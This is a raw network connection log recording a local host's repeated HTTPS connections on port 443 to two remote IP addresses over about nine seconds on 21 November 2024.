Nov 21, 2024 22:10:24.018018961 CET	443	49883	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.018122911 CET	49883	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.039104939 CET	49883	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.039104939 CET	49883	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.039150000 CET	443	49883	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.039165020 CET	443	49883	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.051858902 CET	49887	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.051898956 CET	443	49887	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.052002907 CET	49887	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.060730934 CET	49888	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.060770035 CET	443	49888	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.060923100 CET	49888	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.061659098 CET	49887	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.061700106 CET	443	49887	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.063117027 CET	49888	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.063147068 CET	443	49888	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.120775938 CET	443	49884	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.120948076 CET	443	49884	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.121596098 CET	49884	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.122104883 CET	49884	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.122123957 CET	443	49884	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.122133970 CET	49884	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.122138977 CET	443	49884	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.131736994 CET	49889	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.131774902 CET	443	49889	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.131967068 CET	49889	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.132189035 CET	49889	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.132204056 CET	443	49889	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.177556992 CET	443	49885	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.177746058 CET	443	49885	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.177812099 CET	49885	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.177846909 CET	49885	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.177860975 CET	443	49885	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.177875042 CET	49885	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.177880049 CET	443	49885	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.180345058 CET	49890	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.180393934 CET	443	49890	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:24.180465937 CET	49890	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.180579901 CET	49890	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:24.180599928 CET	443	49890	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:25.698621988 CET	443	49886	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:25.699754000 CET	49886	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:25.699862957 CET	443	49886	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:25.700565100 CET	49886	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:25.700579882 CET	443	49886	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:25.853858948 CET	443	49887	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:25.854773998 CET	49887	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:25.854813099 CET	443	49887	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:25.855190992 CET	49887	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:25.855195045 CET	443	49887	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:25.913078070 CET	443	49888	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:25.913650990 CET	49888	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:25.913697958 CET	443	49888	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:25.917396069 CET	49888	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:25.917402983 CET	443	49888	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:25.949944019 CET	443	49889	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:25.950474024 CET	49889	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:25.950495005 CET	443	49889	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:25.950963974 CET	49889	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:25.950968981 CET	443	49889	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.032156944 CET	443	49890	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.032639027 CET	49890	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.032664061 CET	443	49890	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.033109903 CET	49890	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.033116102 CET	443	49890	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.136998892 CET	443	49886	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.137068033 CET	443	49886	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.137301922 CET	49886	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.137303114 CET	49886	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.137392044 CET	49886	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.137437105 CET	443	49886	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.140022039 CET	49891	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.140058994 CET	443	49891	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.140196085 CET	49891	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.140347004 CET	49891	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.140360117 CET	443	49891	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.296436071 CET	443	49887	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.296588898 CET	443	49887	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.296819925 CET	49887	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.296819925 CET	49887	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.296819925 CET	49887	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.299166918 CET	49892	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.299269915 CET	443	49892	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.299432039 CET	49892	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.299520969 CET	49892	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.299544096 CET	443	49892	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.401700974 CET	443	49889	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.401856899 CET	443	49889	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.405214071 CET	49889	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.405214071 CET	49889	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.405575991 CET	49889	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.405591011 CET	443	49889	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.407644033 CET	49893	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.407674074 CET	443	49893	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.409008026 CET	49893	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.409203053 CET	49893	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.409215927 CET	443	49893	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.492335081 CET	443	49890	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.492496014 CET	443	49890	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.492686987 CET	49890	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.492733955 CET	49890	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.492733955 CET	49890	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.492759943 CET	443	49890	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.492784977 CET	443	49890	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.495174885 CET	49894	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.495259047 CET	443	49894	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.496994972 CET	49894	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.496994972 CET	49894	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.497075081 CET	443	49894	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.499505043 CET	443	49888	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.499574900 CET	443	49888	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.501023054 CET	49888	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.501023054 CET	49888	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.501040936 CET	49888	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.501046896 CET	443	49888	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.502928019 CET	49895	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.502954960 CET	443	49895	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.503113031 CET	49895	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.503185034 CET	49895	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.503197908 CET	443	49895	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:26.510189056 CET	49887	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:26.510215998 CET	443	49887	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:27.858371973 CET	443	49891	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:27.858882904 CET	49891	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:27.858901024 CET	443	49891	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:27.859345913 CET	49891	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:27.859350920 CET	443	49891	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.091768026 CET	443	49892	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.092236996 CET	49892	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.092305899 CET	443	49892	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.092657089 CET	49892	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.092677116 CET	443	49892	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.212234974 CET	443	49893	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.213294029 CET	49893	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.213335991 CET	443	49893	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.213826895 CET	49893	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.213831902 CET	443	49893	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.290730000 CET	443	49894	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.291131973 CET	49894	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.291199923 CET	443	49894	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.291742086 CET	49894	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.291757107 CET	443	49894	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.300018072 CET	443	49891	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.300095081 CET	443	49891	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.300158978 CET	49891	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.300332069 CET	49891	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.300353050 CET	443	49891	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.300374031 CET	49891	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.300379992 CET	443	49891	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.303021908 CET	49896	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.303122997 CET	443	49896	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.304847002 CET	49896	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.305049896 CET	49896	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.305083990 CET	443	49896	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.535176992 CET	443	49892	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.535428047 CET	443	49892	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.535532951 CET	49892	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.574654102 CET	443	49895	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.583039999 CET	49892	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.583091974 CET	443	49892	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.583122969 CET	49892	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.583142996 CET	443	49892	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.599813938 CET	49895	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.599843979 CET	443	49895	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.600250959 CET	49895	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.600255966 CET	443	49895	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.629090071 CET	49897	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.629141092 CET	443	49897	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.629241943 CET	49897	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.633999109 CET	49897	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.634016991 CET	443	49897	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.656348944 CET	443	49893	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.656512022 CET	443	49893	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.656603098 CET	49893	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.674880028 CET	49802	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:28.674902916 CET	49801	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:28.674932957 CET	443	49801	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:28.674976110 CET	443	49802	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:28.696019888 CET	49893	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.696050882 CET	443	49893	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.696062088 CET	49893	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.696069002 CET	443	49893	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.734879017 CET	443	49894	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.735035896 CET	443	49894	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.735131025 CET	49894	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.749780893 CET	49894	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.749825954 CET	443	49894	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.749876022 CET	49894	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.749892950 CET	443	49894	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.758311033 CET	49899	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.758358955 CET	443	49899	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.758430958 CET	49899	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.759685040 CET	49900	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.759708881 CET	443	49900	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.759777069 CET	49900	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.760601997 CET	49899	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.760617971 CET	443	49899	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:28.760746002 CET	49900	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:28.760762930 CET	443	49900	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:29.029403925 CET	443	49895	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:29.029500961 CET	443	49895	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:29.029570103 CET	49895	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:29.029828072 CET	49895	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:29.029844999 CET	443	49895	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:29.029855967 CET	49895	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:29.029860973 CET	443	49895	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:29.032536030 CET	49901	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:29.032593012 CET	443	49901	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:29.032679081 CET	49901	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:29.032815933 CET	49901	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:29.032834053 CET	443	49901	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.086213112 CET	443	49896	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.086740971 CET	49896	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.086810112 CET	443	49896	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.087135077 CET	49896	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.087148905 CET	443	49896	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.481729031 CET	443	49897	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.486680031 CET	49897	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.486742973 CET	443	49897	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.487113953 CET	49897	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.487128019 CET	443	49897	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.532804012 CET	443	49896	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.532883883 CET	443	49896	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.533005953 CET	49896	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.548439026 CET	443	49899	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.550935030 CET	443	49900	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.554018021 CET	49896	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.554073095 CET	443	49896	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.554105043 CET	49896	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.554125071 CET	443	49896	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.554308891 CET	49899	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.554353952 CET	443	49899	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.554800034 CET	49899	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.554811001 CET	443	49899	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.555177927 CET	49900	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.555210114 CET	443	49900	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.555566072 CET	49900	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.555571079 CET	443	49900	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.556807995 CET	49902	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.556853056 CET	443	49902	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.556921959 CET	49902	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.557045937 CET	49902	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.557061911 CET	443	49902	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.822148085 CET	443	49901	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.822705984 CET	49901	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.822796106 CET	443	49901	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.823208094 CET	49901	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.823223114 CET	443	49901	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.936250925 CET	443	49897	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.936482906 CET	443	49897	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.936568022 CET	49897	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.936659098 CET	49897	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.936659098 CET	49897	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.936707020 CET	443	49897	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.936733961 CET	443	49897	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.938888073 CET	49903	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.938987017 CET	443	49903	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.939089060 CET	49903	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.939241886 CET	49903	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.939275980 CET	443	49903	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.993946075 CET	443	49900	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.994117975 CET	443	49900	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.994190931 CET	49900	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.994273901 CET	49900	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.994273901 CET	49900	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:30.994326115 CET	443	49900	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:30.994352102 CET	443	49900	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.000242949 CET	49904	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.000334024 CET	443	49904	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.000421047 CET	49904	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.000530005 CET	49904	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.000550032 CET	443	49904	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.013673067 CET	443	49899	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.013833046 CET	443	49899	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.013892889 CET	49899	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.013935089 CET	49899	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.013936043 CET	49899	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.013961077 CET	443	49899	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.013982058 CET	443	49899	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.015705109 CET	49905	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.015757084 CET	443	49905	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.015836000 CET	49905	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.015938044 CET	49905	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.015954971 CET	443	49905	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.266406059 CET	443	49901	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.266510010 CET	443	49901	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.266586065 CET	49901	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.293365955 CET	49901	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.293365955 CET	49901	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.293422937 CET	443	49901	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.293454885 CET	443	49901	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.317595005 CET	49906	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.317687988 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:31.317948103 CET	49906	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.317948103 CET	49906	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:31.318025112 CET	443	49906	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.280514956 CET	443	49902	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.282331944 CET	49902	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.282403946 CET	443	49902	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.282876968 CET	49902	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.282891989 CET	443	49902	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.667465925 CET	443	49903	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.671194077 CET	49903	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.671219110 CET	443	49903	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.671641111 CET	49903	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.671648026 CET	443	49903	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.717747927 CET	443	49902	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.717833996 CET	443	49902	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.717899084 CET	49902	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.718040943 CET	49902	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.718091965 CET	443	49902	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.718122005 CET	49902	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.718137980 CET	443	49902	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.720803022 CET	49907	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.720901012 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.720990896 CET	49907	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.721086979 CET	49907	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.721110106 CET	443	49907	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.748141050 CET	443	49905	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.748440981 CET	49905	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.748464108 CET	443	49905	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.748817921 CET	49905	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.748827934 CET	443	49905	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.858921051 CET	443	49904	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.859344959 CET	49904	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.859404087 CET	443	49904	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:32.859770060 CET	49904	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:32.859783888 CET	443	49904	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.103625059 CET	443	49903	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.103807926 CET	443	49903	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.103876114 CET	49903	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.104000092 CET	49903	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.104041100 CET	443	49903	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.104069948 CET	49903	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.104084969 CET	443	49903	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.106925011 CET	49908	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.106981993 CET	443	49908	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:33.107052088 CET	49908	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.107207060 CET	49908	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:33.107239008 CET	443	49908	13.107.246.63	192.168.2.4
